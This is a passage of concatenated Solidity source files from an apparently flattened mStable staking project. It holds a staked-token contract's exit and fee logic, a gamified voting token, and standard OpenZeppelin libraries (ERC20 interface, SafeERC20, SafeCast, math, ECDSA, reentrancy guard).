_transferAndStake(_value, address(0), false);
}
/**
* @dev Backwards compatibility. Previously a lock would run out and a user would call this. Now, it will take 2 calls
* to exit in order to leave. The first will initiate the cooldown period, and the second will execute a full withdrawal.
**/
function exit() external virtual {
// Since there is no immediate exit here, this can be called twice
// If there is no cooldown, or the cooldown has passed the unstake window, enter cooldown
uint128 ts = _balances[_msgSender()].cooldownTimestamp;
if (ts == 0 || block.timestamp > ts + COOLDOWN_SECONDS + UNSTAKE_WINDOW) {
(uint256 raw, uint256 cooldownUnits) = rawBalanceOf(_msgSender());
_startCooldown(raw + cooldownUnits);
}
// Else withdraw all available
else {
_withdraw(_balances[_msgSender()].cooldownUnits, _msgSender(), true, false);
}
}
/***************************************
GETTERS
****************************************/
/**
* @dev fee = sqrt(300/x)-2.5, where x = weeks since user has staked
* @param _weightedTimestamp The users weightedTimestamp
* @return _feeRate where 1% == 1e16
*/
function calcRedemptionFeeRate(uint32 _weightedTimestamp)
public
view
returns (uint256 _feeRate)
{
uint256 weeksStaked = ((block.timestamp - _weightedTimestamp) * 1e18) / ONE_WEEK;
if (weeksStaked > 3e18) {
// e.g. weeks = 1 = sqrt(300e18) = 17320508075
// e.g. weeks = 10 = sqrt(30e18) = 5477225575
// e.g. weeks = 26 = sqrt(11.5) = 3391164991
_feeRate = Root.sqrt(300e36 / weeksStaked) * 1e7;
// e.g. weeks = 1 = 173e15 - 25e15 = 148e15 or 14.8%
// e.g. weeks = 10 = 55e15 - 25e15 = 30e15 or 3%
// e.g. weeks = 26 = 34e15 - 25e15 = 9e15 or 0.9%
_feeRate = _feeRate < 25e15 ? 0 : _feeRate - 25e15;
} else {
_feeRate = 75e15;
}
}
uint256[48] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../deps/GamifiedTokenStructs.sol";
interface IStakedToken {
// GETTERS
function COOLDOWN_SECONDS() external view returns (uint256);
function UNSTAKE_WINDOW() external view returns (uint256);
function STAKED_TOKEN() external view returns (IERC20);
function getRewardToken() external view returns (address);
function pendingAdditionalReward() external view returns (uint256);
function whitelistedWrappers(address) external view returns (bool);
function balanceData(address _account) external view returns (Balance memory);
function balanceOf(address _account) external view returns (uint256);
function rawBalanceOf(address _account) external view returns (uint256, uint256);
function calcRedemptionFeeRate(uint32 _weightedTimestamp)
external
view
returns (uint256 _feeRate);
function safetyData()
external
view
returns (uint128 collateralisationRatio, uint128 slashingPercentage);
function delegates(address account) external view returns (address);
function getPastTotalSupply(uint256 blockNumber) external view returns (uint256);
function getPastVotes(address account, uint256 blockNumber) external view returns (uint256);
function getVotes(address account) external view returns (uint256);
// HOOKS/PERMISSIONED
function applyQuestMultiplier(address _account, uint8 _newMultiplier) external;
// ADMIN
function whitelistWrapper(address _wrapper) external;
function blackListWrapper(address _wrapper) external;
function changeSlashingPercentage(uint256 _newRate) external;
function emergencyRecollateralisation() external;
function setGovernanceHook(address _newHook) external;
// USER
function stake(uint256 _amount) external;
function stake(uint256 _amount, address _delegatee) external;
function stake(uint256 _amount, bool _exitCooldown) external;
function withdraw(
uint256 _amount,
address _recipient,
bool _amountIncludesFee,
bool _exitCooldown
) external;
function delegate(address delegatee) external;
function startCooldown(uint256 _units) external;
function endCooldown() external;
function reviewTimestamp(address _account) external;
function claimReward() external;
function claimReward(address _to) external;
// Backwards compatibility
function createLock(uint256 _value, uint256) external;
function exit() external;
function increaseLockAmount(uint256 _value) external;
function increaseLockLength(uint256) external;
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
import { MathUpgradeable } from "@openzeppelin/contracts-upgradeable/utils/math/MathUpgradeable.sol";
import { SafeCast } from "@openzeppelin/contracts/utils/math/SafeCast.sol";
import { ECDSAUpgradeable } from "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
import { GamifiedToken } from "./GamifiedToken.sol";
import { IGovernanceHook } from "./interfaces/IGovernanceHook.sol";
import { Initializable } from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
/**
* @title GamifiedVotingToken
* @notice GamifiedToken is a checkpointed Voting Token derived from OpenZeppelin "ERC20VotesUpgradable"
* @author mStable
* @dev Forked from https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/f9cdbd7d82d45a614ee98a5dc8c08fb4347d0fea/contracts/token/ERC20/extensions/ERC20VotesUpgradeable.sol
* Changes:
* - Inherits custom GamifiedToken rather than basic ERC20
* - Removal of `Permit` functionality & `delegatebySig`
* - Override `delegates` fn as described in their docs
* - Prettier formatting
* - Addition of `totalSupply` method to get latest totalSupply
* - Move totalSupply checkpoints to `afterTokenTransfer`
* - Add _governanceHook hook
*/
abstract contract GamifiedVotingToken is Initializable, GamifiedToken {
struct Checkpoint {
uint32 fromBlock;
uint224 votes;
}
mapping(address => address) private _delegates;
mapping(address => Checkpoint[]) private _checkpoints;
Checkpoint[] private _totalSupplyCheckpoints;
IGovernanceHook private _governanceHook;
event GovernanceHookChanged(address indexed hook);
/**
* @dev Emitted when an account changes their delegate.
*/
event DelegateChanged(
address indexed delegator,
address indexed fromDelegate,
address indexed toDelegate
);
/**
* @dev Emitted when a token transfer or delegate change results in changes to an account's voting power.
*/
event DelegateVotesChanged(
address indexed delegate,
uint256 previousBalance,
uint256 newBalance
);
constructor(
address _nexus,
address _rewardsToken,
address _questManager,
bool _hasPriceCoeff
) GamifiedToken(_nexus, _rewardsToken, _questManager, _hasPriceCoeff) {}
function __GamifiedVotingToken_init() internal initializer {}
/**
* @dev
*/
function setGovernanceHook(address _newHook) external onlyGovernor {
_governanceHook = IGovernanceHook(_newHook);
emit GovernanceHookChanged(_newHook);
}
/**
* @dev Get the `pos`-th checkpoint for `account`.
*/
function checkpoints(address account, uint32 pos)
public
view
virtual
returns (Checkpoint memory)
{
return _checkpoints[account][pos];
}
/**
* @dev Get number of checkpoints for `account`.
*/
function numCheckpoints(address account) public view virtual returns (uint32) {
return SafeCast.toUint32(_checkpoints[account].length);
}
/**
* @dev Get the address `account` is currently delegating to.
*/
function delegates(address account) public view virtual returns (address) {
// Override as per https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/token/ERC20/extensions/ERC20VotesUpgradeable.sol#L23
// return _delegates[account];
address delegatee = _delegates[account];
return delegatee == address(0) ? account : delegatee;
}
/**
* @dev Gets the current votes balance for `account`
*/
function getVotes(address account) public view returns (uint256) {
uint256 pos = _checkpoints[account].length;
return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes;
}
/**
* @dev Retrieve the number of votes for `account` at the end of `blockNumber`.
*
* Requirements:
*
* - `blockNumber` must have been already mined
*/
function getPastVotes(address account, uint256 blockNumber) public view returns (uint256) {
require(blockNumber < block.number, "ERC20Votes: block not yet mined");
return _checkpointsLookup(_checkpoints[account], blockNumber);
}
/**
* @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances.
* It is but NOT the sum of all the delegated votes!
*
* Requirements:
*
* - `blockNumber` must have been already mined
*/
function getPastTotalSupply(uint256 blockNumber) public view returns (uint256) {
require(blockNumber < block.number, "ERC20Votes: block not yet mined");
return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber);
}
/**
* @dev Total sum of all scaled balances
*/
function totalSupply() public view override returns (uint256) {
uint256 len = _totalSupplyCheckpoints.length;
if (len == 0) return 0;
return _totalSupplyCheckpoints[len - 1].votes;
}
/**
* @dev Lookup a value in a list of (sorted) checkpoints.
*/
function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber)
private
view
returns (uint256)
{
// We run a binary search to look for the earliest checkpoint taken after `blockNumber`.
//
// During the loop, the index of the wanted checkpoint remains in the range [low, high).
// With each iteration, either `low` or `high` is moved towards the middle of the range to maintain the invariant.
// - If the middle checkpoint is after `blockNumber`, we look in [low, mid)
// - If the middle checkpoint is before or equal to `blockNumber`, we look in [mid+1, high)
// Once we reach a single value (when low == high), we've found the right checkpoint at the index high-1, if not
// out of bounds (in which case we're looking too far in the past and the result is 0).
// Note that if the latest checkpoint available is exactly for `blockNumber`, we end up with an index that is
// past the end of the array, so we technically don't find a checkpoint after `blockNumber`, but it works out
// the same.
uint256 high = ckpts.length;
uint256 low = 0;
while (low < high) {
uint256 mid = MathUpgradeable.average(low, high);
if (ckpts[mid].fromBlock > blockNumber) {
high = mid;
} else {
low = mid + 1;
}
}
return high == 0 ? 0 : ckpts[high - 1].votes;
}
/**
* @dev Delegate votes from the sender to `delegatee`.
*/
function delegate(address delegatee) public virtual {
return _delegate(_msgSender(), delegatee);
}
/**
* @dev Move voting power when tokens are transferred.
*
* Emits a {DelegateVotesChanged} event.
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._afterTokenTransfer(from, to, amount);
// mint or burn, update total supply
if (from == address(0) || to == address(0)) {
_writeCheckpoint(_totalSupplyCheckpoints, to == address(0) ? _subtract : _add, amount);
}
_moveVotingPower(delegates(from), delegates(to), amount);
}
/**
* @dev Change delegation for `delegator` to `delegatee`.
*
* Emits events {DelegateChanged} and {DelegateVotesChanged}.
*/
function _delegate(address delegator, address delegatee) internal virtual {
address currentDelegate = delegates(delegator);
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveVotingPower(currentDelegate, delegatee, delegatorBalance);
}
function _moveVotingPower(
address src,
address dst,
uint256 amount
) private {
if (src != dst && amount > 0) {
if (src != address(0)) {
(uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(
_checkpoints[src],
_subtract,
amount
);
emit DelegateVotesChanged(src, oldWeight, newWeight);
}
if (dst != address(0)) {
(uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(
_checkpoints[dst],
_add,
amount
);
emit DelegateVotesChanged(dst, oldWeight, newWeight);
}
if (address(_governanceHook) != address(0)) {
_governanceHook.moveVotingPowerHook(src, dst, amount);
}
}
}
function _writeCheckpoint(
Checkpoint[] storage ckpts,
function(uint256, uint256) view returns (uint256) op,
uint256 delta
) private returns (uint256 oldWeight, uint256 newWeight) {
uint256 pos = ckpts.length;
oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes;
newWeight = op(oldWeight, delta);
if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) {
ckpts[pos - 1].votes = SafeCast.toUint224(newWeight);
} else {
ckpts.push(
Checkpoint({
fromBlock: SafeCast.toUint32(block.number),
votes: SafeCast.toUint224(newWeight)
})
);
}
}
function _add(uint256 a, uint256 b) private pure returns (uint256) {
return a + b;
}
function _subtract(uint256 a, uint256 b) private pure returns (uint256) {
return a - b;
}
uint256[46] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint224 from uint256, reverting on
* overflow (when the input is greater than largest uint224).
*
* Counterpart to Solidity's `uint224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*/
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint96 from uint256, reverting on
* overflow (when the input is greater than largest uint96).
*
* Counterpart to Solidity's `uint96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*/
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
library Root {
/**
* @dev Returns the square root of a given number
* @param x Input
* @return y Square root of Input
*/
function sqrt(uint256 x) internal pure returns (uint256 y) {
if (x == 0) return 0;
else {
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return uint256(r < r1 ? r : r1);
}
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*
* _Since v2.5.0:_ this module is now much more gas efficient, given net gas
* metering changes introduced in the Istanbul hardfork.
*/
contract InitializableReentrancyGuard {
bool private _notEntered;
function _initializeReentrancyGuard() internal {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
struct Balance {
/// units of staking token that has been deposited and consequently wrapped
uint88 raw;
/// (block.timestamp - weightedTimestamp) represents the seconds a user has had their full raw balance wrapped.
/// If they deposit or withdraw, the weightedTimestamp is dragged towards block.timestamp proportionately
uint32 weightedTimestamp;
/// multiplier awarded for staking for a long time
uint8 timeMultiplier;
/// multiplier duplicated from QuestManager
uint8 questMultiplier;
/// Time at which the relative cooldown began
uint32 cooldownTimestamp;
/// Units up for cooldown
uint88 cooldownUnits;
}
struct QuestBalance {
/// last timestamp at which the user made a write action to this contract
uint32 lastAction;
/// permanent multiplier applied to an account, awarded for PERMANENT QuestTypes
uint8 permMultiplier;
/// multiplier that decays after each "season" (~9 months) by 75%, to avoid multipliers getting out of control
uint8 seasonMultiplier;
}
/// @notice Quests can either give permanent rewards or only for the season
enum QuestType {
PERMANENT,
SEASONAL
}
/// @notice Quests can be turned off by the questMaster. All those who already completed remain
enum QuestStatus {
ACTIVE,
EXPIRED
}
struct Quest {
/// Type of quest rewards
QuestType model;
/// Multiplier, from 1 == 1.01x to 100 == 2.00x
uint8 multiplier;
/// Is the current quest valid?
QuestStatus status;
/// Expiry date in seconds for the quest
uint32 expiry;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library MathUpgradeable {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute.
return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2);
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds up instead
* of rounding down.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSAUpgradeable {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return recover(hash, r, vs);
} else {
revert("ECDSA: invalid signature length");
}
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return recover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`, `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(
uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0,
"ECDSA: invalid signature 's' value"
);
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
